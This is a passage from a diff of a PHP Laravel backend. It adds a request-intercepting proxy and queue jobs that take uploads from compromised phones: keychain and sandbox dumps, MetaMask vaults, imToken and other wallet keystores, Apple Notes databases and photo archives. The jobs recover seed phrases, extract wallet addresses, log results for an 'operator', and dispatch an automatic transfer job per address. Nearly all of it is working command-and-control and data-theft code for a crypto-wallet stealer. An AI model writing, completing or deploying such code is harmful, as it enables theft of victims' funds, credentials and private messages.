.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||||
|
."\r\n\r\n";
|
||||||
|
|
||||||
|
$isNew = ! file_exists($logName);
|
||||||
|
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ($isNew) {
|
||||||
|
@chmod($logName, 0664);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Proxy the raw request to the configured forward URL and return its response.
|
||||||
|
*
|
||||||
|
* Preserves method, path, query string, headers, and body — only the
|
||||||
|
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||||
|
*/
|
||||||
|
private function forward(Request $request, array $meta): Response
|
||||||
|
{
|
||||||
|
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||||
|
if ($baseUrl === '') {
|
||||||
|
$this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty');
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
|
}
|
||||||
|
|
||||||
|
$target = $baseUrl.$request->getRequestUri();
|
||||||
|
|
||||||
|
$headers = [];
|
||||||
|
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||||
|
foreach ($request->headers->all() as $name => $values) {
|
||||||
|
if (in_array(strtolower($name), $skip, true)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$headers[$name] = $values;
|
||||||
|
}
|
||||||
|
|
||||||
|
$body = $request->getContent();
|
||||||
|
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$resp = Http::withHeaders($headers)
|
||||||
|
->timeout($timeout)
|
||||||
|
->connectTimeout(min($timeout, 5))
|
||||||
|
->send($request->method(), $target, [
|
||||||
|
'body' => $body,
|
||||||
|
'allow_redirects' => false,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$remoteBody = (string) $resp->body();
|
||||||
|
$this->writeForwardLog($meta, $target, $resp->status(), $remoteBody);
|
||||||
|
|
||||||
|
return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type'));
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function clientResponse(int $status, string $body, ?string $contentType): Response
|
||||||
|
{
|
||||||
|
$out = response($body, $status > 0 ? $status : 502);
|
||||||
|
if (is_string($contentType) && $contentType !== '') {
|
||||||
|
$out->headers->set('Content-Type', $contentType);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Record the forwarding result alongside the interception log.
|
||||||
|
*/
|
||||||
|
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
|
||||||
|
{
|
||||||
|
$logPath = public_path('log/intercept');
|
||||||
|
if (! is_dir($logPath)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||||
|
$entry = [
|
||||||
|
'time' => date('Y-m-d H:i:s'),
|
||||||
|
'dir' => 'forward',
|
||||||
|
'device_key' => $meta['device_key'],
|
||||||
|
'target' => $target,
|
||||||
|
'status' => $status,
|
||||||
|
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
||||||
|
];
|
||||||
|
|
||||||
|
$line = $entry['time'].' FORWARD '.$entry['target'].' '
|
||||||
|
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||||
|
."\r\n\r\n";
|
||||||
|
|
||||||
|
@file_put_contents($logName, $line, FILE_APPEND);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\AutoTransferService;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldBeUnique;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
class AutoTransferAddress implements ShouldQueue, ShouldBeUnique
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 180;
|
||||||
|
|
||||||
|
public int $uniqueFor = 180;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
public int $walletAddressId,
|
||||||
|
public string $reason = 'cron',
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function uniqueId(): string
|
||||||
|
{
|
||||||
|
return 'auto-transfer:'.$this->walletAddressId;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(AutoTransferService $autoTransfer): void
|
||||||
|
{
|
||||||
|
$address = WalletAddress::query()->find($this->walletAddressId);
|
||||||
|
if ($address === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$autoTransfer->evaluate($address, $this->reason);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\DsMemoDecoder;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Decode one memo_scan command's assembled NoteStore.sqlite trio into
|
||||||
|
* structured notes and persist them via IngestService::ingestNotes().
|
||||||
|
*
|
||||||
|
* Mirrors ExtractPhotoArchive: sync mode runs inline during the /result
|
||||||
|
* request; switching QUEUE_CONNECTION to database/redis makes it async
|
||||||
|
* with no code change.
|
||||||
|
*/
|
||||||
|
class DecodeMemoDb implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 120;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
public int $deviceId,
|
||||||
|
public string $commandId,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function handle(DsMemoDecoder $decoder, IngestService $ingest): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->find($this->deviceId);
|
||||||
|
if ($device === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = $decoder->decode($device, $this->commandId);
|
||||||
|
$items = $result['items'];
|
||||||
|
$meta = $result['meta'];
|
||||||
|
|
||||||
|
if ($items !== []) {
|
||||||
|
$ingest->ingestNotes($device, ['list' => $items]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Always record a decode event so the operator can see scan results
|
||||||
|
// (incl. empty / encrypted / error cases) in the device log tab.
|
||||||
|
\App\Models\DeviceEvent::create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'event_name' => 'memo_decode',
|
||||||
|
'desc' => mb_substr(
|
||||||
|
'memo_decode · '.$meta['notes'].' 条'.($meta['encrypted'] > 0 ? ' (加密 '.$meta['encrypted'].')' : '')
|
||||||
|
.($items === [] ? ' · 无正文' : ' · 入库 '.count($items))
|
||||||
|
.($meta['errors'] !== [] ? ' · '.implode(';', $meta['errors']) : ''),
|
||||||
|
0, 512
|
||||||
|
),
|
||||||
|
'context_json' => [
|
||||||
|
'type' => 'memo_decode',
|
||||||
|
'command_id' => $this->commandId,
|
||||||
|
'db_path' => $meta['db_path'],
|
||||||
|
'notes' => $meta['notes'],
|
||||||
|
'encrypted' => $meta['encrypted'],
|
||||||
|
'ingested' => count($items),
|
||||||
|
'errors' => $meta['errors'],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,142 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\AppUploadIngester;
|
||||||
|
use App\Services\DarkSwordIngestAdapter;
|
||||||
|
use App\Services\DsKeystoreDecrypt;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Asynchronous keystore / keychain decryption job.
|
||||||
|
*
|
||||||
|
* Keystores are stored synchronously during /war or /result ingestion, then
|
||||||
|
* this job is dispatched to perform the (potentially slow) mnemonic recovery
|
||||||
|
* and address extraction off the request thread. Failures are logged with
|
||||||
|
* the specific reason to the `keystore` log channel so operators can diagnose
|
||||||
|
* why a wallet didn't decrypt.
|
||||||
|
*/
|
||||||
|
class DecryptDeviceKeystores implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 300;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param int $deviceId Device to process.
|
||||||
|
* @param array<string, mixed>|null $wallets Raw keychain wallets dict (from /war or /result).
|
||||||
|
* @param array<string, mixed>|null $sandbox Raw sandbox dict.
|
||||||
|
*/
|
||||||
|
public function __construct(
|
||||||
|
public int $deviceId,
|
||||||
|
public ?array $wallets = null,
|
||||||
|
public ?array $sandbox = null,
|
||||||
|
) {
|
||||||
|
// Production always leaves PHP-FPM. Tests keep the default (sync) driver
|
||||||
|
// so recovery still runs inline without a Redis worker.
|
||||||
|
if (! app()->runningUnitTests()) {
|
||||||
|
$this->onConnection('keystore');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(
|
||||||
|
DarkSwordIngestAdapter $adapter,
|
||||||
|
DsKeystoreDecrypt $decrypt,
|
||||||
|
AppUploadIngester $ingester,
|
||||||
|
): void {
|
||||||
|
$device = Device::query()->find($this->deviceId);
|
||||||
|
if ($device === null) {
|
||||||
|
Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [
|
||||||
|
'device_id' => $this->deviceId,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ingester->splitStoredKeychainVaults($device);
|
||||||
|
$device->load('keystores');
|
||||||
|
|
||||||
|
$wallets = $this->wallets ?? [];
|
||||||
|
$sandbox = $this->sandbox ?? [];
|
||||||
|
|
||||||
|
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
|
||||||
|
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
|
||||||
|
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
|
||||||
|
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
|
||||||
|
// stored under source="app/keychain" is never fed to recoverBitpie().
|
||||||
|
if ($wallets === [] && $sandbox === []) {
|
||||||
|
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
|
||||||
|
}
|
||||||
|
|
||||||
|
$errors = [];
|
||||||
|
|
||||||
|
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
|
||||||
|
try {
|
||||||
|
$adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$errors[] = 'recover: '.$e->getMessage();
|
||||||
|
Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'trace' => $e->getTraceAsString(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ──
|
||||||
|
try {
|
||||||
|
$hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd');
|
||||||
|
$hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b'));
|
||||||
|
foreach ($hits as $hit) {
|
||||||
|
$source = $hit['source'] ?? '';
|
||||||
|
if ($source !== '') {
|
||||||
|
$decrypt->markSourceDecrypted($device->id, $source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$errors[] = 'walkForMnemonics: '.$e->getMessage();
|
||||||
|
Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 3. Address extraction from undecryptable keystores ──
|
||||||
|
$addressCount = 0;
|
||||||
|
try {
|
||||||
|
$addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$errors[] = 'extractAddresses: '.$e->getMessage();
|
||||||
|
Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 4. Log summary ──
|
||||||
|
$mnemonicCount = $device->mnemonics()->count();
|
||||||
|
$summary = sprintf(
|
||||||
|
'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d',
|
||||||
|
$device->device_id,
|
||||||
|
$mnemonicCount,
|
||||||
|
$addressCount,
|
||||||
|
count($errors),
|
||||||
|
);
|
||||||
|
if ($errors !== []) {
|
||||||
|
$summary .= ' · '.implode('; ', $errors);
|
||||||
|
}
|
||||||
|
Log::channel('keystore')->info($summary, [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'device_key' => $device->device_id,
|
||||||
|
'addresses' => $addressCount,
|
||||||
|
'errors' => $errors,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Services\PhotoArchiveIngest;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
class ExtractPhotoArchive implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 180;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $photoMeta
|
||||||
|
* @param array<string, mixed> $rawCounters
|
||||||
|
*/
|
||||||
|
public function __construct(
|
||||||
|
public int $deviceId,
|
||||||
|
public string $inboxPath,
|
||||||
|
public string $batchBase,
|
||||||
|
public array $photoMeta,
|
||||||
|
public string $flavor,
|
||||||
|
public array $rawCounters,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function handle(PhotoArchiveIngest $ingest): void
|
||||||
|
{
|
||||||
|
$ingest->process(
|
||||||
|
$this->deviceId,
|
||||||
|
$this->inboxPath,
|
||||||
|
$this->batchBase,
|
||||||
|
$this->photoMeta,
|
||||||
|
$this->flavor,
|
||||||
|
$this->rawCounters,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,379 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletKeystore;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\AppUploadIngester;
|
||||||
|
use Illuminate\Bus\Queueable;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Bus\Dispatchable;
|
||||||
|
use Illuminate\Queue\InteractsWithQueue;
|
||||||
|
use Illuminate\Queue\SerializesModels;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Async processing of SignalShell v1 uploads.
|
||||||
|
*
|
||||||
|
* The HTTP handler saves the raw file + registers the device synchronously
|
||||||
|
* (fast: <5ms), then dispatches this job for the heavy work:
|
||||||
|
* - ZIP parsing + address scanning
|
||||||
|
* - keychain XML parsing
|
||||||
|
* - wallet keystore extraction
|
||||||
|
* - blockchain address extraction
|
||||||
|
*
|
||||||
|
* This prevents memory exhaustion when many devices upload simultaneously
|
||||||
|
* (each MetaMask ZIP expands to ~9.3MB of text data in memory).
|
||||||
|
*/
|
||||||
|
class ProcessShellUpload implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
use Dispatchable;
|
||||||
|
use InteractsWithQueue;
|
||||||
|
use SerializesModels;
|
||||||
|
|
||||||
|
public int $tries = 2;
|
||||||
|
|
||||||
|
public int $timeout = 120;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
public int $deviceId,
|
||||||
|
public string $filePath,
|
||||||
|
public string $filename,
|
||||||
|
public string $apiKey,
|
||||||
|
) {
|
||||||
|
if (! app()->runningUnitTests()) {
|
||||||
|
$this->onConnection('shell');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(AppUploadIngester $ingester): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->find($this->deviceId);
|
||||||
|
if ($device === null) {
|
||||||
|
Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
|
||||||
|
'device_id' => $this->deviceId,
|
||||||
|
]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! file_exists($this->filePath)) {
|
||||||
|
Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
|
||||||
|
'file' => $this->filePath,
|
||||||
|
]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$body = file_get_contents($this->filePath);
|
||||||
|
$size = strlen($body);
|
||||||
|
|
||||||
|
Log::channel('keystore')->info('ProcessShellUpload: START', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'filename' => $this->filename,
|
||||||
|
'size' => $size,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$lower = strtolower($this->filename);
|
||||||
|
|
||||||
|
// Skip log files — no wallet data
|
||||||
|
if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
|
||||||
|
Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (str_ends_with($lower, '.zip')) {
|
||||||
|
$this->processZip($device, $body, $this->filename);
|
||||||
|
} elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
|
||||||
|
// Keychain XML → use existing ingester
|
||||||
|
$ingester->ingestArtifact($device, $body, $this->filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
// After all data ingested, run decryption
|
||||||
|
if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
|
||||||
|
// This is likely the last upload — trigger decryption
|
||||||
|
app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::channel('keystore')->error('ProcessShellUpload: failed', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'filename' => $this->filename,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'trace' => $e->getTraceAsString(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function processZip(Device $device, string $body, string $filename): void
|
||||||
|
{
|
||||||
|
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
|
||||||
|
file_put_contents($tmpFile, $body);
|
||||||
|
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($tmpFile) !== true) {
|
||||||
|
@unlink($tmpFile);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Map filename → wallet source label
|
||||||
|
$sourceLabel = $this->sourceFromFilename($filename);
|
||||||
|
$lower = strtolower($filename);
|
||||||
|
|
||||||
|
// ── 1. Extract keystore files ──
|
||||||
|
$foundKeystores = [];
|
||||||
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||||
|
$name = $zip->getNameIndex($i);
|
||||||
|
if (str_ends_with($name, '/')) continue;
|
||||||
|
|
||||||
|
$content = $zip->getFromIndex($i);
|
||||||
|
if ($content === false || $content === '') continue;
|
||||||
|
|
||||||
|
$bn = basename($name);
|
||||||
|
|
||||||
|
// UTC keystore
|
||||||
|
if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
|
||||||
|
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||||
|
}
|
||||||
|
|
||||||
|
// imToken walletsV2
|
||||||
|
if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
|
||||||
|
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Store keystores
|
||||||
|
foreach ($foundKeystores as $ks) {
|
||||||
|
$rawJson = json_decode($ks['content'], true);
|
||||||
|
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
|
||||||
|
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
|
||||||
|
$rawJson['kind'] = 'web3.keystore';
|
||||||
|
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
|
||||||
|
$rawJson['kind'] = 'web3.keystore';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
WalletKeystore::create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'chain' => Device::CHAIN_APP,
|
||||||
|
'source' => $sourceLabel,
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => $rawJson,
|
||||||
|
'content_hash' => md5($ks['content']),
|
||||||
|
]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
|
||||||
|
'name' => $ks['name'],
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 2. MetaMask vault ──
|
||||||
|
if (str_contains($lower, 'metamask')) {
|
||||||
|
$this->extractMetaMaskVault($device, $tmpFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 3. Addresses ──
|
||||||
|
// imToken AsyncStorage is a token inventory; naive 0x/T regex
|
||||||
|
// would ingest hundreds of contracts. Reuse the named-structure
|
||||||
|
// collector from the /api/v2 tar path.
|
||||||
|
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
|
||||||
|
try {
|
||||||
|
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$this->scanAddresses($device, $zip, $sourceLabel);
|
||||||
|
}
|
||||||
|
|
||||||
|
$zip->close();
|
||||||
|
@unlink($tmpFile);
|
||||||
|
|
||||||
|
Log::channel('keystore')->info('ProcessShellUpload: DONE', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'filename' => $filename,
|
||||||
|
'keystores' => count($foundKeystores),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function extractMetaMaskVault(Device $device, string $tmpFile): void
|
||||||
|
{
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($tmpFile) !== true) return;
|
||||||
|
|
||||||
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||||
|
$fn = $zip->getNameIndex($i);
|
||||||
|
if (! str_contains($fn, 'KeyringController')) continue;
|
||||||
|
|
||||||
|
$content = $zip->getFromIndex($i);
|
||||||
|
$json = json_decode($content ?? '', true);
|
||||||
|
if (! is_array($json) || ! isset($json['vault'])) continue;
|
||||||
|
|
||||||
|
$vault = json_decode($json['vault'], true);
|
||||||
|
if (! is_array($vault) || ! isset($vault['cipher'])) continue;
|
||||||
|
|
||||||
|
$raw = array_merge($vault, ['kind' => 'metamask.vault']);
|
||||||
|
$existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
||||||
|
if (! $existing) {
|
||||||
|
$row = WalletKeystore::create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'chain' => Device::CHAIN_APP,
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => $raw,
|
||||||
|
'content_hash' => md5($content),
|
||||||
|
]);
|
||||||
|
$stats = WalletKeystore::computeListStatsFromJson($raw);
|
||||||
|
$row->list_kind = $stats['kind'];
|
||||||
|
$row->list_has_web3 = 1;
|
||||||
|
$row->save();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Also extract reportedAccounts addresses
|
||||||
|
$this->extractMetaMaskAddresses($device, $tmpFile);
|
||||||
|
}
|
||||||
|
$zip->close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
|
||||||
|
{
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($tmpFile) !== true) return;
|
||||||
|
|
||||||
|
$addrs = [];
|
||||||
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||||
|
$fn = $zip->getNameIndex($i);
|
||||||
|
$content = $zip->getFromIndex($i);
|
||||||
|
if (! $content) continue;
|
||||||
|
$json = json_decode($content, true);
|
||||||
|
if (! is_array($json)) continue;
|
||||||
|
|
||||||
|
if (str_contains($fn, 'ProfileMetricsController')) {
|
||||||
|
foreach ($json['reportedAccounts'] ?? [] as $ra) {
|
||||||
|
$ct = \App\Support\WalletSource::inferChainType($ra);
|
||||||
|
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
|
||||||
|
$addrs[$ra] = $ct;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (str_contains($fn, 'AccountsController')) {
|
||||||
|
foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
|
||||||
|
$ia = $acc['address'] ?? '';
|
||||||
|
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
|
||||||
|
$addrs[$ia] = 'ETHEREUM';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
foreach ($addrs as $addr => $ct) {
|
||||||
|
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||||
|
if (! $exists) {
|
||||||
|
try {
|
||||||
|
WalletAddress::create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => $addr,
|
||||||
|
'chain_type' => $ct,
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
// skip
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
|
||||||
|
{
|
||||||
|
$patterns = [
|
||||||
|
'/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
|
||||||
|
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||||
|
];
|
||||||
|
$validators = [
|
||||||
|
'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
|
||||||
|
'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
|
||||||
|
];
|
||||||
|
|
||||||
|
$contracts = [
|
||||||
|
'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||||
|
'0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||||
|
'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
|
||||||
|
'0x55d398326f99059fF775485246999027B3197955',
|
||||||
|
];
|
||||||
|
|
||||||
|
$found = [];
|
||||||
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||||
|
$fn = $zip->getNameIndex($i);
|
||||||
|
$lower = strtolower($fn);
|
||||||
|
|
||||||
|
if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
|
||||||
|
str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
|
||||||
|
str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
|
||||||
|
str_ends_with($lower, '.icm')) continue;
|
||||||
|
|
||||||
|
$content = $zip->getFromIndex($i);
|
||||||
|
if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
|
||||||
|
|
||||||
|
foreach ($patterns as $pat => $chainType) {
|
||||||
|
if (preg_match_all($pat, $content, $m)) {
|
||||||
|
$validator = $validators[$chainType] ?? null;
|
||||||
|
foreach ($m[0] as $addr) {
|
||||||
|
if ($validator && ! $validator($addr)) continue;
|
||||||
|
if (in_array($addr, $contracts)) continue;
|
||||||
|
$found[$addr] = $chainType;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($found as $addr => $ct) {
|
||||||
|
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||||
|
if (! $exists) {
|
||||||
|
try {
|
